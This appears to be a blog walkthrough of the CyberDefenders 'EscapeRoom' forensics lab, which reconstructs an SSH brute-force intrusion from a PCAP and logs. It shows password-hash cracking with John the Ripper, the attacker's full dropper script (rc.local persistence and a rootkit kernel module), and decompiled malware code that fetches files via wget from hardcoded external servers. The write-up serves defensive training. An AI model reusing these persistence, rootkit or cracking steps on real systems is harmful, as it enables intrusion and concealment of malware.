Sitemap
Sushma

Sushma

EscapeRoom (CyberDefenders): Step-by-Step Writeup

8 min readJust now

--

Challenge Link:

Scenario: A KVM-hosted web server VM went down over a weekend. You get a PCAP (hp_challenge.pcap) plus logs (shadow.log, sudoers.log, ps.log) and need to reconstruct the attack.

Tools: Wireshark, Zui (Brim), John the Ripper or Hashcat, NetworkMiner, UPX, a decompiler (IDA, Ghidra or radare2), CyberChef. Download the lab zip and extract it with the password cyberdefenders.org.

Phase 1: The break-in

Q1. Service used to gain access: SSH
Open the PCAP in Wireshark and go to Statistics → Endpoints → TCP (or Conversations). Only two server ports matter: 22 (SSH) and 80 (HTTP). The flood of traffic to port 22 is the entry point.

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

Q2. Attack type: Brute-force
There are about 2,000 SSH packets, and Statistics → Conversations shows many short sessions of almost identical size (13 packets each). That’s repeated login guessing.

Press enter or click to view image in full size

Q3. Likely tool: Hydra
Hydra is the standard SSH password-guessing tool, and its short, uniform connections match this pattern.

Q4. Failed attempts: 52
In Zui, run:

_path=="ssh" and auth_success!=true

The result is 52 rows. Cross-check in Wireshark: the capture shows 54 SSH sessions, 2 of them successful, so 54 − 2 = 52.

Press enter or click to view image in full size
Press enter or click to view image in full size

or

Press enter or click to view image in full size
Press enter or click to view image in full size

Q5. Credentials used: manager:forgot

  1. Open shadow.log. It holds SHA-512 crypt hashes ($6$..., Hashcat mode 1800).
  2. Open sudoers.log to see which users have sudo rights.
  3. Crack the hashes:
john --wordlist=rockyou.txt shadow.log

Hashcat works too: hashcat -m 1800 hashes.txt rockyou.txt.
4. Cracked results: manager:forgot, sean:spectre, gibson:god.
5. manager is a sudoer, so it was the account that mattered.

root:$6$xWqR7iex$0xPdUK6aQcVHAjLk747Ysi17Wh2xJLPpAu0wIbezCIUxuJ7rT5Uuj26nCzMuKfwty.RVlv3mg.t.Xge6Bx9fs/:15549:0:99999:7:::
daemon:*:15507:0:99999:7:::
bin:*:15507:0:99999:7:::
sys:*:15507:0:99999:7:::
sync:*:15507:0:99999:7:::
games:*:15507:0:99999:7:::
man:*:15507:0:99999:7:::
lp:*:15507:0:99999:7:::
mail:*:15507:0:99999:7:::
news:*:15507:0:99999:7:::
uucp:*:15507:0:99999:7:::
proxy:*:15507:0:99999:7:::
www-data:*:15507:0:99999:7:::
backup:*:15507:0:99999:7:::
list:*:15507:0:99999:7:::
irc:*:15507:0:99999:7:::
gnats:*:15507:0:99999:7:::
nobody:*:15507:0:99999:7:::
libuuid:!:15507:0:99999:7:::
syslog:*:15507:0:99999:7:::
messagebus:*:15507:0:99999:7:::
whoopsie:*:15507:0:99999:7:::
landscape:*:15507:0:99999:7:::
sshd:*:15507:0:99999:7:::
ubuntu:$6$MOCeF0du$eCgZ9.I.hS5CDST1aQHozhLbBH6rAUj97vvW/22eaCynqLv/whZKM1freAN3n2XQiCWjDr0UFreVv0IAvI.fl0:15549:0:99999:7:::
guest:$6$SaltVal1$MNuCQofLmz9CSSVdNGkdj7gRvcHeRinIVP2ezH5Q17oGC23EdbyAwZ6uzaknESS0W0TkgVpyqzGYqJMdxXSSl/:15549:0:99999:7:::
gibson:$6$SaltVal3$ub1ejU/gJOqG1gKnGhSypMtVJouMJ9JmVOYgptXcL0HLSfA84ZH.uwngUpf5XiLp0hu/E2hVh.CLBp2U24Uac1:15549:0:99999:7:::
sean:$6$SaltVal4$rIpTjZrVyyX4Lz0/TMvx3FjUbRRMEgKJ2vnQwBgaoSWeLm/VZifQvBco8AnpVQWhNvMolnyY43X5/i5YK/TIw.:15549:0:99999:7:::
george:$6$SaltVal5$W3YtX9RKtQfqPWxg6/iaxwMYD8LFxP/zqvTsg5GNXi39ulbUSAR.lvjXHrpJdSISNAiWpb6kj2iNI6LlFWETC1:15549:0:99999:7:::
roger:$6$SaltVal6$.1SaTeewycJ1oTmt/6yxAbEyezXhnOajmjP9KWhvNGhkOapy0CyGvEBSQyuL2.TbiEDAPhfoKgoHjbPjczvHH0:15549:0:99999:7:::
timothy:$6$SaltVal7$B6dVnvXVmLuILd3oBeCjvjUAYnowMZ5IRm1k3xzKq/fo8MZV7rUMFU1hhzRvaw9.G6mPST8fL8R6cvWqppcpf.:15549:0:99999:7:::
pierce:$6$SaltVal8$IUEDzxEsUcki.khFF/HOfbSa6uswLDmEGAobvvbz.8MYy9UvtPo6DCZrpcbLa2Ma4AUj65mNCr7xPP0kVH0tT/:15549:0:99999:7:::
sterling:$6$SaltVal9$7oq808gj5Pm4vzJQ7rOWXHtUiJw.qfmEhcmqhGYWUr.r3n4/G5V12QWVaJq7DPura/ZEVPqEUUpMlYzv412Qb1:15549:0:99999:7:::
manager:$6$SaltVal2$ybuPu7Nmo9LKn0p0ozhFhFw2SS2cqkLsx8c5OEAWFkIJjtXBEJqxUQzLh900QMgFTGiw6YuFDueNAapfLKt0f1:15549:0:99999:7:::
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt

Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
forgot (manager)
1g 0:00:00:01 DONE (2026-11-10 05:02) 0.5076g/s 1559p/s 1559c/s 1559C/s gators..dangerous
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Q6. Other sudo-capable credentials: sean:spectre
sean is also listed in sudoers.log, and his password cracked in the same run.

                                                                                                                                                         
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --user=sean shadow.log
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spectre (sean)
1g 0:00:01:04 DONE (2026-11-10 05:07) 0.01544g/s 1415p/s 1415c/s 1415C/s vikingo..rose93
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Phase 2: Malware delivery

Q7. Download tool: Wget
Filter http in Wireshark, then right-click a request and choose Follow → HTTP Stream. The User-Agent is Wget. In Zui, _path=="http" shows the same in the user_agent column.

Press enter or click to view image in full size
Press enter or click to view image in full size

Q8. Files downloaded: 3
File → Export Objects → HTTP lists three files named 1, 2 and 3.

Press enter or click to view image in full size
Press enter or click to view image in full size

Q9. Main malware MD5: 772b620736b760c1d736b1e6ba2f885b
Export file 1, which is the ELF executable (MIME type application/x-executable). Hash it with md5sum 1, or use the md5 column from _path=="files" in Zui. VirusTotal flags it as malicious.

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ ls
1 18-EscapeRoom.zip crackme.txt hp_challenge.pcap ps.log shadow.log sudoers.log zui_1.18.0_amd64.deb

┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ md5sum 1
772b620736b760c1d736b1e6ba2f885b 1

Q10. File modified for persistence: /etc/rc.local
File 3 is a readable shell script. Search the PCAP for “rc.local” and follow the TCP stream. The script overwrites /etc/rc.local so the malware launches at every boot:

echo -e "/var/mail/mail &\nsleep 1\n..." > /etc/rc.local

rc.local runs at the end of boot, which makes it a classic persistence spot.

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

Q11. Where the malware keeps local files: /var/mail
The start of the script does mv 1 /var/mail/mail and chmod +x /var/mail/mail. The malware is disguised as a “mail” binary.

Press enter or click to view image in full size
Press enter or click to view image in full size
#!/bin/bash

mv 1 /var/mail/mail
chmod +x /var/mail/mail
echo -e "/var/mail/mail &\nsleep 1\npidof mail > /proc/dmesg\nexit 0" > /etc/rc.local
nohup /var/mail/mail > /dev/null 2>&1&
mv 2 /lib/modules/`uname -r`/sysmod.ko
depmod -a
echo "sysmod" >> /etc/modules
modprobe sysmod
sleep 1
pidof mail > /proc/dmesg
rm 3

Phase 3: Hiding the malware

Q12. What’s missing from ps.log: /var/mail/mail
ps.log lists running processes. The malware is supposed to be running, yet /var/mail/mail doesn’t appear there. Something is hiding it.

Press enter or click to view image in full size

Q13. File used to hide it: sysmod.ko
File 2 is a kernel module (rootkit). The script uses uname -r to find the kernel version, copies the module into the modules directory, and adds it to /etc/modules so it loads on boot. Once loaded, it filters the malware out of process listings.

Press enter or click to view image in full size
Press enter or click to view image in full size

Phase 4: Reverse-engineering the malware (file 1)

The binary is UPX-packed, so unpack it first:

upx -d 1 -o malware_unpacked
                                                                                                                                                           
┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ ls
1 18-EscapeRoom.zip 3 crackme.txt dfs.gpr dfs.lock dfs.lock~ dfs.rep hp_challenge.pcap ps.log shadow.log sudoers.log zui_1.18.0_amd64.deb

┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ upx -d 1
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.4 Markus Oberhumer, Laszlo Molnar & John Reiser May 9th 2024

File size Ratio Format Name
-------------------- ------ ----------- -----------
[WARNING] bad b_info at 0x22a8

[WARNING] ... recovery at 0x22a4

30222 <- 11164 36.94% linux/amd64 1

Unpacked 1 file.

┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ ls
1 18-EscapeRoom.zip 3 crackme.txt dfs.gpr dfs.lock dfs.lock~ dfs.rep hp_challenge.pcap ps.log shadow.log sudoers.log zui_1.18.0_amd64.deb

┌──(kali㉿kali)-[~/Downloads/temp_extract_dir/EscapeRoom]
└─$ file 1
1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=0d363acda9b4e7f53ca11d002533fb31de781445, not stripped

Then open malware_unpacked in IDA, Ghidra or radare2.

Get Sushma’s stories in your inbox

Join Medium for free to get updates from this writer.

Q14. Function in main that contacts servers: requestFile
In the decompiled main, a loop calls requestFile(address) for each hardcoded server. In radare2 you can find it with aaa, afl, then pdf @ main.

Press enter or click to view image in full size
Press enter or click to view image in full size
undefined8 main(void)

{
int iVar1;
time_t tVar2;
FILE *__stream;
long lVar3;
void *pvVar4;
long in_FS_OFFSET;
int local_420;
char local_418 [1032];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_420 = 0;
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
while( true ) {
makeKeys();
requestFile(*(undefined8 *)(addr + (long)local_420 * 8));
sprintf(local_418,"%s%s",&DAT_00403db6,*(undefined8 *)(lookupFile + (long)currentIndex * 8));
__stream = fopen(local_418,"rb");
fseek(__stream,0,2);
lVar3 = ftell(__stream);
fseek(__stream,0,0);
fclose(__stream);
pvVar4 = malloc((long)(int)((uint)lVar3 & 0xfffffffc));
decryptMessage(pvVar4);
iVar1 = processMessage(pvVar4);
if (iVar1 != 0) break;
sleep(1);
local_420 = local_420 + 1;
if (local_420 == 4) {
local_420 = 0;
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 1;
Press enter or click to view image in full size
void requestFile(undefined8 param_1)

{
undefined8 uVar1;
FILE *__stream;
long in_FS_OFFSET;
char local_128 [280];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
uVar1 = encode(*(undefined8 *)(lookupMod + (long)currentIndex * 8));
sprintf(local_128,"wget -O %s%s http://%s/n/%s",&DAT_00403db6,
*(undefined8 *)(lookupFile + (long)currentIndex * 8),param_1,uVar1);
puts(local_128);
__stream = popen(local_128,"r");
pclose(__stream);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Press enter or click to view image in full size

Q15. IP starting with 17: 174.129.57.253
Load the PCAP in NetworkMiner (Hosts tab) or check Statistics → Endpoints → IPv4. This is one of the servers the malware contacted.

Press enter or click to view image in full size
Press enter or click to view image in full size

Q16. Files requested from external servers: 9
In NetworkMiner’s Files tab or Zui’s HTTP log, excluding the 3 files dropped earlier, 9 .bmp files were fetched. The malware uses image requests as a disguised channel to its servers.

Press enter or click to view image in full size

Q17. Commands the malware receives (alphabetical): NOP, RUN

  1. Find processMessage, which is called from main. In radare2: pdf @ sym.processMessage.
  2. It compares incoming data against two constants:
  • 0x4e4f5000
  • 0x52554e3a
  1. Convert the hex to ASCII in CyberChef. Because of little-endian byte order, you read them as:
  • 0x4e4f5000 → NOP
  • 0x52554e3a → RUN:
  1. In alphabetical order: NOP, RUN.
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

Thanks for reading! If you found this walkthrough helpful, please share it with everyone.

--